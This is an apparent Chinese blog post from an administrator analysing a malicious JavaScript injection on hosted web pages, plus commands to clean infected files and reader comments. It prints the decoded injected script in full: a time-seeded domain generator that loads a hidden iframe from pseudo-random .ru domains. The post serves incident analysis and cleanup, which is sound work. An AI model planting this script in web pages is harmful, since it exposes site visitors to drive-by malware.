每一个可以努力的日子,都是一份厚礼。
又一次运维,恶意 js 脚本注入访问伪随机域名
我们的服务器又出入侵事故了。有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码。在黑链 SEO 中这是常见的手法,但奇特的地方就在于我们这次捕获到的代码,会根据当前的时间戳生成一个(伪)随机域名,然后定时访问。看上去目的并非是 SEO。
一、攻击分析
被插入的 javascript 在此——
运维拿到这段代码的时候,都不知道它是要做什么。在这里不得不吐槽一下,为啥我们的运维都不懂代码……我放到 Chrome 里 decode 出来,是这样子的
function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function () {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500);
于是大意可知,它内置了一个随机域名生成函数,有趣的事情。伪随机数发生器基于 unix 时间戳,说它是“伪”随机,是因为这并非真正意义上的随机,我们可以根据时间计算出它所产生的结果。事实上,它最终每 12 个小时就会生成一个类似 ctonxidjqijsnzny.ru znycugibimtvplve.ru 这样的域名。
这并非有新意的黑客,之前有安全人员对恶意软件下载的分析,攻击者甚至使用了 twitter 消息作为种子来生成域名,这是真正的随机,完全无法预料,也无从预警和封锁。
话说回来,在这段代码开始运作产生访问流量之前,黑客有充足的时间注册和配置域名,并挂上木马链接。毫无疑问的是,如果 2012 真的不是世界末日,我们很容易预知到它即将产生什么域名。于是写段程序检测一下,直至未来的 2012 年 8 月 7 日,有 89 个域名已经注册,WHOIS 显示 DNS 解析服务器在俄国。真正的黑客大国,老毛子名不虚传。
网上搜了一下,很多国外服务商也遇到了这个问题,有人甚至观测到一些服务器端的逻辑,比如根据访问者 IP 进行 302 重定向的机制。
二、安全漏洞
更重要的问题是,恶意 js 代码是怎么注入到我们客户的网页上的呢?
通过查看日志我们发现,捅篓子的是某著名后台管理系统的一个文件上传漏洞,目前厂商已经给出修复方案。他们建议重置所有用户的密码……
三、擦屁股
这苦逼活,又是我的差事。花了一个小时,写了两句话,测试通过。
# check
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* > injeted_list.txt
# clean up
grep -rl --include=*.{php,js,htm,html} "km0ae9gr6m" /var/www/vhosts/* | xargs sed -i -e 's/\/\*km0ae9gr6m/\n&/g' -e 's/qhk6sa6g1c\ //&\n/g' -e '/km0ae9gr6m*/,/qhk6sa6g1c/d'
参考链接:
http://research.zscaler.com/2012/07/mass-compromise-includes-computerworld.html
| 这篇文章由lovelucy于2012-07-08 18:20发表在信息安全。你可以订阅RSS 2.0 也可以发表评论或引用到你的网站。除特殊说明外文章均为本人原创,并遵从署名-非商业性使用-相同方式共享创作协议,转载或使用请注明作者和来源,尊重知识分享。 |
批评不自由
则赞美无意义

大约9年前
深受启发于是,我写了个把代码字符串转Unicode的方法.
大约13年前
我的wp也被这个感染了 请教我该怎么删除啊?不是很懂您的那个check代码
大约13年前
你自己手动删除js代码即可。我写的那段代码是由于被感染的页面太多了,需要批量自动处理,check 那一句是对所有被感染的网页进行统计,保存到injeted_list.txt中,然后下面一句是进行清理。
如果想要运行上面的自动清理脚本,需要你对Linux服务器有root管理权限,如果没有,你可以联系你的主机商解决,这个是他们的职责。
大约13年前
真正的大拿,佩服!